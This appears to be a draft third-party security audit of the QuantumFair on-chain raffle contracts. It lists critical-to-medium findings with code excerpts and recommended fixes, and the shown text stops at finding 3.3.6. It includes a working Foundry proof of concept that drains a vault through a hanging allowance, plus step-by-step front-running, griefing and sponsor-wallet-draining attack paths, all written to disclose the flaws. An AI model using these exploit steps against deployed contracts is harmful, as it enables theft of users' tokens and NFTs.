QuantumFair contracts

Security Review

Cantina Managed review by:

Chris Smith, Security Researcher

R0bert, Security Researcher

Giuseppe de la Zara, Associate Security Researcher

June 5, 2024

Contents

DRAFT

DRAFT

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	**Description**
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

DRAFT

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

QuantumFair allows to launch onchain raffles on Optimism.

From May 20th to Jun 3rd the Cantina team conducted a review of qf-contracts on commit hash 34ffbc5d. The team identified a total of **59** issues in the following risk categories:

- Critical Risk: 4
- High Risk: 6
- Medium Risk: 13
- Low Risk: 12
- Gas Optimizations: 0
- Informational: 24

DRAFT

3 Findings

3.1 Critical Risk

3.1.1 Hanging allowance on `Raffle.close()` allows to steal all the tokens from the vault

Severity: Critical Risk

Context: Raffle.sol#L676-L681

Description: As `Raffle.close()` gets called there is an approval granted for `token` where:

- Spender is the `vFactory.getDistributor()` address.
- Owner is the `ticketsVault` address.

```
// Raffle.sol
ticketVault.callApprove(
    address(token),
    vFactory.getDistributor(),
    token.balanceOf(ticketsVaultAddress)
);
```

```
//AssetVault.sol
function callApprove (
    address token,
    address spender,
    uint256 amount
) external override onlyOwner onlyWithdrawDisabled nonReentrant {
    IERC20 tokenContract = IERC20(token);

    // Validate Vault balance.
    if (
        amount > tokenContract.balanceOf(address(this))
    ) revert Errors.InsufficientBalance();

    // Do approval
       tokenContract.safeApprove( // <<<
        spender,
        amount
    );
    // ...
}
```

DRAFT

There is no access control in the `Distributor` contract, and it contains a function to transfer any arbitrary token:

```
// Distributor.sol
function distributeTokens (
    IERC20 _token,
    address _sender,
    address[] memory _addresses,
    uint256[] memory _amounts
) external nonReentrant {
    // Check the correctness of the data types
    if (
        _addresses.length != _amounts.length
    ) revert Errors.InvalidArrayLength();
    if (
        _addresses.length == 0
    ) revert Errors.InvalidArrayLength();
    if (
        _sender == address(0)
    ) revert Errors.ZeroAddress();

    uint256 len = _addresses.length;
    uint256 total = 0;

    for (uint256 i = 0; i < len; i++) {
        total += _amounts[i];
    }

    // Can revert with: "SafeERC20: ERC20 operation did not succeed"
    _token.safeTransferFrom(_sender, address(this), total);

    for(uint256 i = 0; i < len; i++) {
        _token.safeTransfer(_addresses[i], _amounts[i]);
    }
}
```

As soon as the allowance is granted through `AssetVault` anyone can call the `distributeTokens` function with:

- `_token` being the above mentioned token that the allowance was granted for.
- `_sender` being the`AssetVault` address.

And steal all the tokens from the `AssetVault`. Another observation is that in the `Raffle.close()` function the allowance is granted for the total amount of tokens used to buy tickets. However, as Raffle is finalized with `Raffle.finish()` tokens are distributed in the following manner:

- If `treasuryCut > 0`, part of the tokens are sent to the treasury.
- The rest is distributed either to the beneficiaries or to the Raffle creator.

The allowance is never fully consumed. Moreover, if there are no beneficiaries the tokens are only split between the treasury and the Raffle creator.

Impact: Critical as tokens used to purchase can be stolen from the vault.

Likelihood: High as it is highly likely to happen with every Raffle.

Proof of concept:

```
function test_stealVaultAssetsOnCloseRaffle() public {
    console.log(StdStyle.yellow("\n\ntest_stealVaultAssetsOnCloseRaffle()"));
    console.log(StdStyle.yellow("__________________________\n"));

    contract_MockNFT.mint(user1, 1337);

    console.log(StdStyle.red("user1 -> %s"), user1);
    console.log(StdStyle.red("user2 -> %s"), user2);
    console.log(StdStyle.red("attacker-> %s"), user3);
    console.log(StdStyle.red("contract_MockNFT.ownerOf(1337) -> %s"), contract_MockNFT.ownerOf(1337));

    DataTypes.Multihash memory metadata;
    metadata.hash = bytes32(0);
    metadata.hash_function = uint8(18);
    metadata.size = uint8(32);

    vm.startPrank(user1, user1);
    console.log(StdStyle.yellow("\nUSER1(%s) calls < contract_FairHub.createRaffle() >"), user1);
```

DRAFT

```
    contract_FairHub.createRaffle(
        block.timestamp,
        block.timestamp + 1 days,
        1,
        1e18,
        0,
        metadata,
        DataTypes.TokenType.ERC20,
        address(contract_MockERC20)
    );

    Raffle contract_Raffle1 = Raffle(contract_FairHub.getRaffleAddress(1));
    console.log(StdStyle.yellow("\nUSER1(%s) calls < contract_MockNFT.approve(contract_VaultDepositRouter, 1337) >"), user1);
    contract_MockNFT.approve(address(contract_VaultDepositRouter), 1337);
    address[] memory _tokens = new address[](1);
    _tokens[0] = address(contract_MockNFT);
    uint256[] memory _ids = new uint256[](1);
    _ids[0] = 1337;
    contract_Raffle1.open(_tokens, _ids);
    vm.stopPrank();

    vm.startPrank(user2, user2);

    contract_MockERC20.mint(user2, 100e18);
    contract_MockERC20.approve(address(contract_VaultDepositRouter), 100e18);

    contract_Raffle1.enter(user2, 10);

    vm.warp(block.timestamp + 2 days);
    contract_Raffle1.close();

    vm.stopPrank();

    address ticketVault = contract_Raffle1.ticketsVaultAddress();

    console.log(StdStyle.blue("\nAttacker(%s) balance of MockERC20 before attack: %s"), user3, contract_MockERC20.balanceOf(user3));
    console.log(StdStyle.blue("\nticketsVault(%s) balance of MockERC20 before attack: %s"), ticketVault, contract_MockERC20.balanceOf(ticketVault));

    uint256 allowance = contract_MockERC20.allowance(contract_Raffle1.ticketsVaultAddress(), address(contract_Distributor));

    address[] memory _addresses = new address[](1);
    _addresses[0] = address(user3);
    uint256[] memory _amounts = new uint256[](1);
    _amounts[0] = allowance;

    vm.startPrank(user3, user3);

    contract_Distributor.distributeTokens
    (
        contract_MockERC20,
        contract_Raffle1.ticketsVaultAddress(),
        _addresses,
        _amounts
    );
    vm.stopPrank();
    console.log(StdStyle.blue("\n--------------------------------------------------------------------------------------------------"));

    console.log(StdStyle.blue("\nAttacker(%s) balance of MockERC20 after attack: %s"), user3, contract_MockERC20.balanceOf(user3));
    console.log(StdStyle.blue("\nticketsVault(%s) balance of MockERC20 after attack: %s"), ticketVault, contract_MockERC20.balanceOf(ticketVault));
}
```

DRAFT

Recommendation: There is no need to grant `allowance` inside the `close` function but consume it inside the `finish()` function. As allowance is only consumed if there are beneficiaries grant approval inside the `finish()` function and consume it immediately with `ticketVault.batchPercentageWithdraw(...)`. There should be no hanging allowances after the function execution finishes.

3.1.2 Changing owner of raffle does not change the `creatorAddress` resulting in theft or possible loss of funds

Severity: Critical Risk

Context: Raffle.sol#L257-L266

Description: On initialization, the `creatorAddress` is set and ownership is transferred to that address. If a manager later changes ownership using `transferOwnership`, the first owner will retain the benefits of being the creator (i.e. ticket proceeds are sent to the `creatorAddress` on `finish` and the NFT is sent to the `creatorAddress` in 'cancel, additionally any beneficiary remainder will be sent to them and the ticket vault is sent to them).

Impact: If a user transfers or sells their Raffle they retain the benefits. A malicious creator could get the new owner to `open` the Raffle depositing their ERC721, then `cancel` and pay the cancellation fee to take the `owner`'s NFT. Alternatively, in a Raffle marketplace, the creator sells a valuable raffle, but when `finish` is called, the `creatorAddress` not the `owner` will receive the proceeds. If a manager changes ownership because the original owner address is compromised or lost, the funds will still be lost because they are sent to the creator.

Likelihood: All non-Yolo Raffles are potentially vulnerable to this. Since you have indicated that transferring and selling Raffles is a desirable part of the system, so any malicious actor can exploit this.

Recommendation: Consider removing `creatorAddress` all together and using `owner()` instead.

3.1.3 All the raffle participants have the same chance of winning the raffle despite the amount of entries bought

Severity: Critical Risk

Context: WinnerAirnode.sol#L172, Raffle.sol#L658, Raffle.sol#L664

Description: In the `Raffle.close()` function, the `participants.length` is passed as a parameter to the `airnode.requestWinners()` call:

DRAFT

```
if (
    winnerNumber == 1
) {
    requestId = airnode.requestWinners (
        airnode.getIndividualWinner.selector,
        winnerNumber,
        participants.length // <<<
    );
} else {
    requestId = airnode.requestWinners (
        airnode.getMultipleWinners.selector,
        winnerNumber,
        participants.length // <<<
    );
}
```

When Airnode fulfills the QRNG request and calls `getIndividualWinner()/getMultipleWinners()` function the `requestToRaffle[requestId].winnerIndexes` is updated with the winning indexes. Then, `Raffle.finish()` is called. The winners are retrieved through the `airnode.requestResults()` function which returns the previously filled `requestToRaffle[requestId]` mapping:

```
// Request results and update winners.
DataTypes.WinnerReponse memory winnerResults =  airnode.requestResults(
    requestId
);

for (
    uint256 i;
    i < winnerNumber;
    i++
) {
    winners.push(
        participants[winnerResults.winnerIndexes[i]]
    );
}

// Withdraw assets from vaults.
for (
    uint256 i;
    i < winners.length;
    i++
) {
    prizeVault.withdrawERC721(
        tokens[i],
        ids[i],
        winners[i]
    );
}
```

However, the winners are selected directly from the participants array: participants[winnerResults.winnerIndexes[i]] and consequently, the amount of entries each participant bought is not taken into account. Every participant has the same chance of winning. Based on this, any user could create multiple wallets to purchase tickets from them increasing their chances of winning the Raffle:

- A user that created 100 different wallets and purchased one entry from each different wallet will have 100x higher chances of winning than a single user that bought directly 100 Raffle entries.

DRAFT

Impact: High as it breaks the core of the protocol functionality.

Likelihood: High as it will happen with every Raffle.

Recommendation: `totalEntries` should be used instead of `participants.length` in the `airnode.requestWinners()` call. It is recommended to create ranges every time users purchase entries. The winningIndex should determine the winners. If a user is the owner of a range which holds a winning index he should be a selected winner.

3.1.4 Any asset that has approved the `vaultDepositRouter` contract can be drained

Severity: Critical Risk

Context: Raffle.sol#L391-L442, VaultDepositRouter.sol#L131-L165, VaultDepositRouter.sol#L198-L269

Description: After `FairHub.createRaffle()` is called in order to create a new Raffle, raffle creators are required to call the `Raffle.open()` function:

```
/**
 * @notice Opens a raffle to the public,
 * and safekeeps the assets in the corresponding vaults.
 * @dev `_tokens`, `_ids` and `winnerNumber` should match.
 *
 * @param _tokens The tokens addresses to use for prizes.
 * @param _ids The id for the respective address in the array of `_tokens`.
 */
  function open (
      address[] memory _tokens,
      uint256[] memory _ids
  ) external onlyOwner nonReentrant notDue {
      // Parameters' Validations.
      if (
          status != DataTypes.RaffleStatus.Unintialized
      ) revert Errors.RaffleAlreadyOpen();
      if (
            _tokens.length != winnerNumber
        ) revert Errors.InvalidWinnerNumber();
        if (
            _tokens.length != _ids.length
        ) revert Errors.BatchLengthMismatch();

        // Create the vaults for the raffle.
        IFairHub fairHubInstance = IFairHub(fairHub);
        IVaultFactory vFactory = IVaultFactory(
            fairHubInstance.getVaultFactory()
        );
        IVaultDepositRouter vRouter = IVaultDepositRouter(
            fairHubInstance.getVaultDepositRouter()
        );

        (prizesVaultId, prizesVaultAddress) = vFactory.create(address(this));
        (ticketsVaultId, ticketsVaultAddress) = vFactory.create(address(this));

        // Deposit the prizes in the vaults.
        vRouter.depositERC721(
            owner(),
            prizesVaultId,
            _tokens,
            _ids
        );

        // ...
    }
```

This function opens a raffle to the public and can only be called by the owner of the Raffle where he needs to provide the token ids of the NFTs that will be added as rewards for the participants. As we can see in the code above, `vRouter.depositERC721()` is called and consequently the owner of the Raffle will have to approve the `VaultDepositRouter` contract beforehand. If we take a look at the `VaultDepositRouter.depositERC721()` we can see that lacks any type of access control:

DRAFT

```
function depositERC721 (
    address owner,
    uint256 vault,
    address[] calldata tokens,
    uint256[] calldata ids
) external {
    if (
        tokens.length == 0
    ) revert Errors.InvalidParameter();
    if (
        tokens.length != ids.length
    ) revert Errors.BatchLengthMismatch();

    address vaultAddress = factory.instanceAt(vault);

    for (uint256 i = 0; i < tokens.length; i++) {
        _depositERC721(owner, vaultAddress, tokens[i], ids[i]);

        vaultBalances[vaultAddress][
         DataTypes.TokenType.ERC721].push(
            DataTypes.TokenInventory({
                tokenAddress: tokens[i],
                tokenId: ids[i],
                tokenAmount: 1
            })
        );
    }

    emit Events.DepositERC721(
        owner,
        vaultAddress,
        tokens,
        ids
    );
}

function _depositERC721 (
    address owner,
    address vault,
    address token,
    uint256 id
) internal validVault(vault) {
    IERC721(token).safeTransferFrom(
        owner,
        vault,
        id
    );
}
```

Moreover, the `from` parameter of the `safeTransferFrom()` call is passed as parameter to this function making possible this exploit:

1. Alice calls `Raffle.open()` in order to create a Raffle.
2. After the Raffle is opened, Alice wants to add the `BAYC #7` as the reward of her Raffle and sends a transaction to approve the `VaultDepositRouter` contract.
3. Bob sees Alice's transaction and front-runs it with the following calls executed atomically in a single transaction:
    1. `VaultFactory.create(Bob);`
    2. `VaultDepositRouter.depositERC721(Alice, Bob's vaultId, [BAYC>, [#7]);`
4. At this point, Bob has received the BAYC #7 in his `AssetVault` and all he has to do is calling `AssetVault.enableWithdraw()` & AssetVault.withdrawERC721() to send the NFT to his own wallet.

On top of what was described so far, the `VaultDepositRouter.depositERC20() function` presents the same flaw:

```
function depositERC20 (
    address sender,
    address sponsor,
    address vault,
    address token,
    uint256 amount
) external override validVault(
    vault
) {
    // Initial validations.
    if (
        token == address(0)
    ) revert Errors.InvalidParameter();
    if (
        amount == 0
    ) revert Errors.InvalidParameter();
    if (
        sender != sponsor
    ) {
        // Sponsor will pay for the transaction.
        if (sponsor == address(0)) {
            revert Errors.InvalidParameter();
        } else {
            if (
                IERC20(token).allowance(
                    sponsor,
                    address(this)
                ) < amount
            ) {
                revert Errors.InsufficientBalanceOrAllowance();
            } else {
                IERC20(token).safeTransferFrom(
                    sponsor,
                    vault,
                    amount
                );
            }
        }
    } else {
        // Sender will pay for the transaction.
        if (
            IERC20(token).allowance(
                sender,
                address(this)
            ) < amount
        ) {
```

DRAFT

```
                revert Errors.InsufficientBalanceOrAllowance();
            } else {
                IERC20(token).safeTransferFrom(
                    sender,
                    vault,
                    amount
                );
            }
        }

        vaultBalances[vault][
            DataTypes.TokenType.ERC20].push(
                DataTypes.TokenInventory({
                    tokenAddress: token,
                    tokenId: 0,
                    tokenAmount: amount
                })
            );

        emit Events.DepositERC20(
            sender,
            vault,
            token,
            amount
        );
}
```

The same approach can be performed by a malicious user when Raffle participants approve the `VaultDepositRouter` contract to perform the ERC20 payments to acquire the entry tickets. Any asset that has approved the `VaultDepositRouter` contract is at risk. Even though the risks of front-running are quite low in the Optimism blockchain any remaining approval could be used to perform this exploit.

Impact: Critical as any asset deposit can be subject to this exploit and can be stolen by an attacker.

Likelihood: Medium as the risks of front-running are low in the Optimism blockchain.

Recommendation: It is recommended to implement the `depositERC721()` & `depositERC20()` within the `Raffle` contract. Use always `msg.sender` as the `from` address in the `safeTransferFrom()` & `transferFrom()` calls to prevent this issue.

3.2 High Risk

3.2.1 Non-zero `requiredBalance` raffles could be extended indefinitely as they depend on an owner call and `requiredBalance` to be closed

Severity: High Risk

Context: Raffle.sol#L606-L620

Description: The `Raffle.close()` function can only be called by the owner of the Raffle or the FairHub contract owner if the `requiredBalance` of the Raffle is different than zero.

Let's imagine the scenario where a Raffle is created with a `requiredBalance` of 10e18. A participant buys a single entry by paying 1e18. However, time passes and noone else buys. The only way now for this Raffle to be completed is that someone buys another 9 entries.

There is no mechanism in place to handle this scenario. There should be an expiration time enforced that would allow the participants to get back the assets they paid for their entries and the Raffle owner to recover his NFT that was going to be given as the Raffle reward.

Impact: High as funds (entry payments and NFT rewards) are frozen.

Likelihood: Medium as this could be abused by a malicious owner to force participants (in this case the single participant) to buy more entries.

Recommendation: It is recommended to allow anyone to call `close()` if the Raffle `expectedEndTime` was reached:

- If `requiredBalance` was reached, Raffle should follow the normal flow, giving the NFT rewards to the winners and the currency to the Raffle owner.

DRAFT

- If `requiredBalance` was not reached, the participants should be allowed to claim the assets they paid for their entries and the Raffle owner should be allowed to claim the NFTs set initially as rewards for the Raffle.

3.2.2 `Distributor.distributeNative` can be DoS'ed blocking all native token raffles

Severity: High Risk

Context: Distributor.sol#L63-L65

Description: After sending the native token to all of the addresses in the amounts passed in from the `AssetVault.batchAmountWithdraw`, the Distributor attempts to send an remaining balance to the `_sender`, in this case, the `AssetVault`.

The `batchPercentageWithdraw` and `batchAmountWithdraw` can only be called with withdraws enabled. However, the `AssetVault`'s `payable` function revert if withdraws are enabled. Therefore, if the distributor attempts to return any remaining balance after distributing, the entire transaction will revert.

Using the `selfdestruct` opcode, an attacker could frontrun any distribution transactions with 1 wei of native token and block all distributions. Since the owner of the ticket vault is the Raffle, the amounts are dependent on the payers and their entry payments, the Raffle cannot `finish` or `cancel` and must be `forceRecovered`. `Distributor.distributeNative` needs to be called outside the context of a Raffle to clear out the 1 wei extra. Then the Raffle can attempt to `finish` or `cancel` and if it does not get frontrun again, it will succeed.

Impact: Until the 1 wei is cleared this would prevent all native token Raffles from being able to distribute other than through manual distribution with `forceRecover`.

Likelihood: This is a DOS/griefing attack. It would only cost the attacker sending gas + 1 wei of native token per transaction, but there does not seem to be a path to profit for the attacker.

Recommendation: Allow the AssetVault's `receive` to continue to work if the call is from the Distribution-Vault or send the native token to another address such as AssetVault's owner or the last recipient (similar to how `AssetVault._calculatePercentages` works).

3.2.3 Yolo raffles could result in loss of funds

Severity: High Risk

Context: Raffle.sol#L209-L222

Description: On initialization, Raffles have the creator set. Yolo Raffles use the Fairhub address as the creatorAddress. Since the `_transferOwnership` function does not update the `creatorAddress`, the FairHub remains the `creatorAddress`. If the owner of the Yolo Raffle changes the beneficiaries to have less than 100% share, then the remainder will be sent to the `creatorAddress`, i.e. the FairHub contract. Related issue concerning beneficiaries themselves.

Impact: There is no way to recover ERC20's from the Fairhub contract so any ERC20 or dApi Yolo Raffle with less than 100% beneficiaries will result in loss of funds. The Fairhub contract also cannot receive native tokens, so this would cause all Native Yolo Raffles in this situation to revert during `finish`

Likelihood: Since the owner is able to update the beneficiaries as they see fit and the code appears to handle the case where they are less than 100% by sending back to the creator (which the yolo owner/creator would assume was themselves), this seems likely to happen.

Recommendation:

- Likely the transfer owner function should also change the `creatorAddress`.
- Handle the case in `finish` where one of the beneficiaries can't receive native tokens.

DRAFT

3.2.4 Raffle winners can DoS the completion of the raffle

Severity: High Risk

Context: Raffle.sol#L764-L768

When the `Raffle.finish()` function is called to update the winners with the results received from Airnode, the rewards (NFTs) are sent to the winners through a `safeTransferFrom()` call:

```
// ...
prizeVault.withdrawERC721(
    tokens[i],
    ids[i],
    winners[i]
);
//...
```

```
/**
 * @dev See { IAssetVault-withdrawERC721 }.
 */
function withdrawERC721 (
    address token,
    uint256 tokenId,
    address to
) external override onlyOwner onlyWithdrawEnabled {
    IERC721(token).safeTransferFrom(
        address(this),
        to,
        tokenId
    );
    emit Events.WithdrawERC721(
        msg.sender,
        to,
        token,
        tokenId
    );
}
```

DRAFT

However, if we look at the OpenZeppelin implementation of a ERC721 token we can see how the control is given to the NFT receiver through the `ERC721Utils.checkOnERC721Received()` check:

```
/**
 * @dev See {IERC721-safeTransferFrom}.
 */
function safeTransferFrom(address from, address to, uint256 tokenId) public {
    safeTransferFrom(from, to, tokenId, "");
}

/**
 * @dev See {IERC721-safeTransferFrom}.
 */
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual {
    transferFrom(from, to, tokenId);
    ERC721Utils.checkOnERC721Received(_msgSender(), from, to, tokenId, data); // <------------------------
}
```

checkOnERC721Received() implementation:

```
/**
 * @dev Performs an acceptance check for the provided `operator` by calling {IERC721-onERC721Received}
 * on the `to` address. The `operator` is generally the address that initiated the token transfer (i.e.
↪  `msg.sender`).
 *
 * The acceptance call is not executed and treated as a no-op if the target address doesn't contain code (i.e.
↪  an EOA).
 * Otherwise, the recipient must implement {IERC721Receiver-onERC721Received} and return the acceptance magic
↪  value to accept
 * the transfer.
 */
function checkOnERC721Received(
    address operator,
    address from,
    address to,
    uint256 tokenId,
    bytes memory data
) internal {
    if (to.code.length > 0) {
        try IERC721Receiver(to).onERC721Received(operator, from, tokenId, data) returns (bytes4 retval) { //
↪  <-----------------------
            if (retval != IERC721Receiver.onERC721Received.selector) {
                // Token rejected
                revert IERC721Errors.ERC721InvalidReceiver(to);
            }
        } catch (bytes memory reason) {
            if (reason.length == 0) {
                // non-IERC721Receiver implementer
                revert IERC721Errors.ERC721InvalidReceiver(to);
            } else {
                /// @solidity memory-safe-assembly
                assembly {
                    revert(add(32, reason), mload(reason))
                }
            }
        }
    }
}
```

If one of the winners is a smart contract that placed a revert in its `onERC721Received()` hook the whole transaction will revert and the `finish()` process will not be completed not allowing the other winners to receive their rewards and the Raffle creators to receive their payment.

Impact: High as it causes a Denial of Service in the protocol leaving the winners with no rewards and Raffle creators without their payment.

Likelihood: Medium as one of the participants must place a revert in his `onERC721Received()` hook.

Recommendation: It is recommended to use `ERC721.transferFrom()` instead of `ERC721.safeTransferFrom()` to send the NFT to the winners as the first does not trigger any hook in the receiver.

3.2.5 QRNG sponsorWallet can be drained by creating and completing raffles immediately

Severity: High Risk

Context: Raffle.sol#L655, FairHub.sol#L435-L444, FairHub.sol#L502-L506

Description: As per the API3 QRNG documentation:

> QRNG is free to use. You can use it as much as you want without paying anything. However, you will have to fund the sponsorWallet that incurs the gas fees for the transaction for the fulfillment of the request. A sponsorWallet address is derived from the requester contract address, the QRNG Airnode address and its extended public key (xpub). A sponsor wallet must be derived using the command derive-sponsor-wallet-address from the Admin CLI for your specific requester contract.

Considering that any user can create a Raffle for free the following attack vector can be abused to drain the sponsorWallet:

1. Create Raffle with some random/useless tokens.

DRAFT

2. Buy a single entry for this Raffle. The payment for this entry would be done using an useless ERC20 token.
3. Finish the Raffle right away triggering an `airnode.requestResults` call.
4. Sponsor address would perform a `fulfill()` call to fullfil the QRNG request. The gas fees for this transaction would reduce their native balance.
5. Repeat this process until draining all the native tokens balance from the sponsorWallet.

As the sponsorWallet has no balance to call `fulfill()` no Raffles would be completed.

Impact: High it causes a Denial of Service of the protocol.

Likelihood: Low as it is simply "griefing" and the attacker requires to spend a lot of gas without getting any profit.

Recommendation: It is recommended to enforce that any Raffle creator must pay a certain amount of native asset upon the creation of a new Raffle. These native assets should be sent directly to the sponsorWallet.

3.2.6 `WinnerAirnode.requestwinners()` function can be abused to drain the sponsorWallet, DoSing the protocol

Severity: High Risk

Context: WinnerAirnode.sol#L135-L139

Description: As per the API3 QRNG documentation:

> QRNG is free to use. You can use it as much as you want without paying anything. However, you will have to fund the sponsorWallet that incurs the gas fees for the transaction for the fulfillment of the request. A sponsorWallet address is derived from the requester contract address, the QRNG Airnode address and its extended public key (xpub). A sponsor wallet must be derived using the command derive-sponsor-wallet-address from the Admin CLI for your specific requester contract.

The `WinnerAirnode.requestWinners()` function is used to make requests to Airnode RRP. Each of these requests will then be fulfilled by the `sponsorWallet` which will be paying the gas fees. However, this function does not implement any access control and consequently any user can directly call it as many times as wanted forcing the `sponsorWallet` to fulfill useless requests and draining its balance. At some point, the `sponsorWallet` would not have enough funds to cover for any transaction gas fees and would not be able to fulfill any legit Raffle.

Impact: High as it causes a Denial of Service in the protocol not allowing to complete any Raffle.

Likelihood: Medium as the gas costs to perform this attack are not high but the attacker gets no actual benefit from it, simply griefing.

Recommendation: It is recommended to add some sort of access control to the `WinnerAirnode.requestWinners()` function. This function should only be called by a whitelisted `Raffle` contract.

DRAFT

3.3 Medium Risk

3.3.1 An ERC20 raffle can be entered after it has ended and the required balance has been reached

Severity: Medium Risk

Context: Raffle.sol#L452-L462

Description: By observing the `Raffle.close()` function the criteria to close a Raffle is if the `requiredBalance` has been achieved.

```
// Raffle.sol
// ...
} else {
    // As a balance is required, the owner or the fairHub owner
    // must acknowledge the closing, so they might extend the
    // raffle artificially by going above the initial `requiredBalance`
    // or await for the balance to reach the required amount by
    // going after the `expectedEndTime`.
    if (
        msg.sender != owner() &&
        msg.sender != fairHubInstance.owner()
    ) revert Errors.CallerNotOwner(msg.sender);
    // Handle ERC20 validation
    if (
        currency == DataTypes.TokenType.ERC20 &&
        token.balanceOf(ticketsVaultAddress) < requiredBalance
    ) revert Errors.EarlyClosing();
    // Handle dApi validation
    if (
        currency == DataTypes.TokenType.dApi
    ) {
        uint256 currentPrice = _getCurrentPrice();
        uint256 requiredAmount = Math.mulDiv(
            requiredBalance,
            1e18,
            currentPrice
        );
        if (
            token.balanceOf(ticketsVaultAddress) < requiredAmount
        ) revert Errors.EarlyClosing();
    }
    if (
        currency == DataTypes.TokenType.Native &&
        ticketsVaultAddress.balance < requiredBalance
    ) revert Errors.EarlyClosing();
}
```

Depending on the `TokenType` of the Raffle(Native/ERC20) there is a check for ERC20 balance or ETH balance of the ticket vault. By observing the `enter()` function the only check is for the ETH balance of the ticket vault.

```
// Raffle.sol
if (
    (
        requiredBalance == 0 ||
        ticketsVaultAddress.balance > requiredBalance // <<
    ) &&
    block.timestamp > expectedEndTime
) revert Errors.RaffleDue();
```

This is an issue for Raffles that have the `TokenType` set to an ERC20 as it would allow entering the Raffle although it has ended and the required balance has been reached.

Impact: Medium as it allows to enter a Raffle although the required balance has been reached.

Likelihood: High as it occurs for all the ERC20 Raffles.

Recommendation: There needs to be the same check inside the `enter()` function as it exists in the `close()` function whereby `requiredBalance` is compared to the corresponding value based on the `TokenType` of the Raffle.

DRAFT

3.3.2 `Transfer()` doesn't work on zksync

Severity: Medium Risk

Context: AirnodeLogic.sol#L180

Description: `send()` and `transfer()` don't work on zkSync due to forwarding fixed gas (2300). Moreover, their use is discouraged on other chains as gas costs can change. See these resources: 1 & 2.

Impact: Medium as `withdraw()` function might permanently revert on some chains.

Likelihood: Low/Medium as it only applies to zkSync currently.

Recommendation: Use the low-level call:

```
- payable(msg.sender).transfer(balance);
+ (bool success, ) = msg.sender.call{value: balance}("");
+ if (!success) revert();
```

3.3.3 Participants can enter the raffle after it has ended and the required balance has been achieved

Severity: Medium Risk

Context: Raffle.sol#L459

Description: While launching a `Raffle` the creator specifies the `requiredBalance` storage variable. Participants can no longer enter the Raffle if any of the two conditions are met:

- Raffle has ended and required balance hasn't been specified, i.e. `block.timestamp <= expectedEndTime` and `requiredBalance == 0`.
- Raffle has ended and the required balance has been achieved, i.e. `block.timestamp <= expectedEndTime` and `ticketsVaultAddress.balance >= requiredBalance`.

The issue is that currently the comparison symbol is > or `ticketsVaultAddress.balance > requiredBalance`. If the creator for example specifies the required balance to be 100 tickets at 1 ETH each, the current logic would allow for 101 tickets.

DRAFT

Impact: Medium as it allows buying more tickets than intended after the Raffle has ended.

Likelihood: Low/Medium as the required balance is going to be surpassed before the raffle has ended in most cases.

Recommendation: Change the comparison sign from > to >=:

```
- ticketsVaultAddress.balance > requiredBalance
+ ticketsVaultAddress.balance >= requiredBalance
```

3.3.4 Raffle participants can dos the canceling of raffles for currency tokens with blocklist functionality

Severity: Medium Risk

Context: Raffle.sol#L929-L935

Description: When a Raffle gets canceled all the participants get refunded.

```
// Raffle.sol

// Before transfering back, we need to approve
// the vault to spend the tokens.
if (
    currency == DataTypes.TokenType.ERC20 ||
    currency == DataTypes.TokenType.dApi
) {
    ticketVault.callApprove(
        raffleToken,
        vFactory.getDistributor(),
        IERC20(raffleToken).balanceOf(
            ticketsVaultAddress
        )
    );
}

// Execute the actual return.
ticketVault.enableWithdraw();
    ticketVault.batchAmountWithdraw( // <<<
    _payableReceivers,
    _recievers,
    _amounts,
    currency,
    raffleToken
);
```

The refund process is simply iterating over all the participants of the Raffle and transferring tokens back to their addresses. This is done through the `Distributor.sol` contract.

```
// Distributor.sol
for(uint256 i = 0; i < len; i++) {
    _token.safeTransfer(_addresses[i], _amounts[i]);
}
```

Some tokens (e.g. `USDC`, `USDT`) have a contract level admin controlled address blocklist. If an address is blocked, then transfers to and from that address are forbidden. A malicious participant can:

- Enter an existing Raffle.
- Intentionally make his address end up on the blocklist of the currency of the Raffle.

By doing so he would be causing a permanent DoS of the `cancel` functionality.

Impact: Low as `cancel` is a basic functionality of the Raffle but in case of emergency, `forceRecover` can be used to retrieve the funds.

Likelihood: Medium/High as tokens such as USDC and USDT are expected to be used as the currency of the Raffle.

Recommendation: Participants recovering their funds should be enabled in a pull versus push manner. You should keep track of the amount participants spent to buy their entries. In case of entering a Cancel state, there should be a way for them to claim those amounts.

3.3.5 `forcerecover` can be used by fairhub owner to steal funds and by raffle owner to dos the system

Severity: Medium Risk

Context: Raffle.sol#L966-L967

Description: Because the `forceRecover` function can be called by the `Raffle owner` just before the auction is `finished` it can be used to DOS the system and likely bypass the cancellation fees. It is also callable by the `Fairhub.owner()` which is also the recipient of the funds being force recovered. Therefore a malicious or compromised Fairhub owner address could use this function to drain all raffles before they are finished.

Moreover, the `ERC721.safeTransferFrom()` function is used to transfer the `VaultFactory` NFTs to the FairHub owner. If this address is a smart contract that has a `revert` in its onERC721Received hook all the `forceRecover()` calls would revert.

DRAFT

Recommendation: Consider not allowing the `owner` of the Raffle from calling this contract and ensure that the address set as owner of the Fairhub is honest and well protected. On the other hand, it is recommended to use `transferFrom()` instead of `safeTransferFrom()` to transfer the NFT.

3.3.6 Owners of yolo raffles can steal the winnings

Severity: Medium Risk

Context: Raffle.sol#L305-L308, Raffle.sol#L352-L355

